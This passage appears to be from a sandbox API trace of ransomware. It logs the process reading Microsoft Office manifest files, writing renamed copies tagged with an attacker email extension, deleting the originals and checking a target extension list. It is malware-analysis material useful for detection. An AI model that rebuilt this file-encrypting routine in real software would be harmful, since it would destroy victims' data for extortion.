lpOverlapped=0x0) returned 1 [0096.709] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0096.709] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0096.709] SetEndOfFile (hFile=0x374) returned 1 [0096.709] CloseHandle (hObject=0x374) returned 1 [0096.710] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.710] SetEndOfFile (hFile=0x36c) returned 1 [0096.711] CloseHandle (hObject=0x36c) returned 1 [0096.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0096.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.712] lstrlenW (lpString=".doc") returned 4 [0096.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.712] lstrlenW (lpString=".docx") returned 5 [0096.712] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0096.712] lstrlenW (lpString=".pdf") returned 4 [0096.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.712] lstrlenW (lpString=".xls") returned 4 [0096.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.712] lstrlenW (lpString=".xlsx") returned 5 [0096.712] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0096.712] lstrlenW (lpString=".ppt") returned 4 [0096.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString=".zip") returned 4 [0096.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.713] lstrlenW (lpString=".rar") returned 4 [0096.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString=".bz2") returned 4 [0096.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString=".7z") returned 3 [0096.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString=".dbf") returned 4 [0096.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString=".1cd") returned 4 [0096.713] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString=".jpg") returned 4 [0096.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.713] lstrlenW (lpString=".doc") returned 4 [0096.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.713] lstrlenW (lpString=".docx") returned 5 [0096.714] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0096.714] lstrlenW (lpString=".pdf") returned 4 [0096.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString=".xls") returned 4 [0096.714] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString=".xlsx") returned 5 [0096.714] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0096.714] lstrlenW (lpString=".ppt") returned 4 [0096.714] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.714] lstrlenW (lpString=".zip") returned 4 [0096.714] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.714] lstrlenW (lpString=".rar") returned 4 [0096.714] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString=".bz2") returned 4 [0096.714] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString=".7z") returned 3 [0096.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.714] lstrlenW (lpString=".dbf") returned 4 [0096.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.714] lstrlenW (lpString=".1cd") returned 4 [0096.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0096.714] lstrlenW (lpString=".jpg") returned 4 [0096.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.715] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0096.715] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0096.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.715] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0096.716] CloseHandle (hObject=0x36c) returned 1 [0096.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0096.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.716] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.716] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0096.716] GetLastError () returned 0x0 [0096.716] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0096.747] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0096.748] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0096.748] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0096.748] SetEndOfFile (hFile=0x374) returned 1 [0096.749] CloseHandle (hObject=0x374) returned 1 [0096.751] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.751] SetEndOfFile (hFile=0x36c) returned 1 [0096.752] CloseHandle (hObject=0x36c) returned 1 [0096.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0096.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0096.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.753] lstrlenW (lpString=".doc") returned 4 [0096.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.753] lstrlenW (lpString=".docx") returned 5 [0096.753] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0096.753] lstrlenW (lpString=".pdf") returned 4 [0096.753] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.753] lstrlenW (lpString=".xls") returned 4 [0096.753] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.753] lstrlenW (lpString=".xlsx") returned 5 [0096.753] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0096.753] lstrlenW (lpString=".ppt") returned 4 [0096.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.753] lstrlenW (lpString=".zip") returned 4 [0096.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.753] lstrlenW (lpString=".rar") returned 4 [0096.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.753] lstrlenW (lpString=".bz2") returned 4 [0096.754] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString=".7z") returned 3 [0096.754] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.754] lstrlenW (lpString=".dbf") returned 4 [0096.754] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.754] lstrlenW (lpString=".1cd") returned 4 [0096.754] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.754] lstrlenW (lpString=".jpg") returned 4 [0096.754] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.754] lstrlenW (lpString=".doc") returned 4 [0096.754] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString=".docx") returned 5 [0096.754] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0096.754] lstrlenW (lpString=".pdf") returned 4 [0096.754] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString=".xls") returned 4 [0096.754] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0096.754] lstrlenW (lpString=".xlsx") returned 5 [0096.755] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0096.755] lstrlenW (lpString=".ppt") returned 4 [0096.755] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0096.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.755] lstrlenW (lpString=".zip") returned 4 [0096.755] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0096.755] lstrlenW (lpString=".rar") returned 4 [0096.755] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0096.755] lstrlenW (lpString=".bz2") returned 4 [0096.755] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0096.755] lstrlenW (lpString=".7z") returned 3 [0096.755] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0096.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.755] lstrlenW (lpString=".dbf") returned 4 [0096.755] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0096.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.755] lstrlenW (lpString=".1cd") returned 4 [0096.755] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0096.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0096.755] lstrlenW (lpString=".jpg") returned 4 [0096.755] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.755] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0096.756] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0096.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.758] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=496513) returned 1 [0096.758] CloseHandle (hObject=0x36c) returned 1 [0096.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0096.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0096.759] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.759] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0096.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0096.759] GetLastError () returned 0x0 [0096.759] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x79381, lpOverlapped=0x0) returned 1 [0096.773] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x79390, lpOverlapped=0x0) returned 1 [0097.460] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0097.460] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0097.461] SetEndOfFile (hFile=0x374) returned 1 [0097.461] CloseHandle (hObject=0x374) returned 1 [0097.475] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0097.475] SetEndOfFile (hFile=0x36c) returned 1 [0097.480] CloseHandle (hObject=0x36c) returned 1 [0097.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0097.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0097.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.482] lstrlenW (lpString=".doc") returned 4 [0097.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.482] lstrlenW (lpString=".docx") returned 5 [0097.482] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.482] lstrlenW (lpString=".pdf") returned 4 [0097.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.482] lstrlenW (lpString=".xls") returned 4 [0097.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.482] lstrlenW (lpString=".xlsx") returned 5 [0097.482] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.482] lstrlenW (lpString=".ppt") returned 4 [0097.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.482] lstrlenW (lpString=".zip") returned 4 [0097.482] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.482] lstrlenW (lpString=".rar") returned 4 [0097.482] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.482] lstrlenW (lpString=".bz2") returned 4 [0097.482] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString=".7z") returned 3 [0097.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.483] lstrlenW (lpString=".dbf") returned 4 [0097.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.483] lstrlenW (lpString=".1cd") returned 4 [0097.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.483] lstrlenW (lpString=".jpg") returned 4 [0097.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.483] lstrlenW (lpString=".doc") returned 4 [0097.483] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString=".docx") returned 5 [0097.483] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.483] lstrlenW (lpString=".pdf") returned 4 [0097.483] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString=".xls") returned 4 [0097.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.483] lstrlenW (lpString=".xlsx") returned 5 [0097.483] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.483] lstrlenW (lpString=".ppt") returned 4 [0097.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.484] lstrlenW (lpString=".zip") returned 4 [0097.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.484] lstrlenW (lpString=".rar") returned 4 [0097.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.484] lstrlenW (lpString=".bz2") returned 4 [0097.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.484] lstrlenW (lpString=".7z") returned 3 [0097.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.484] lstrlenW (lpString=".dbf") returned 4 [0097.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.484] lstrlenW (lpString=".1cd") returned 4 [0097.484] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0097.484] lstrlenW (lpString=".jpg") returned 4 [0097.484] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.484] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0097.484] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0097.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0097.485] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0097.485] CloseHandle (hObject=0x36c) returned 1 [0097.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0097.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0097.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0097.485] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 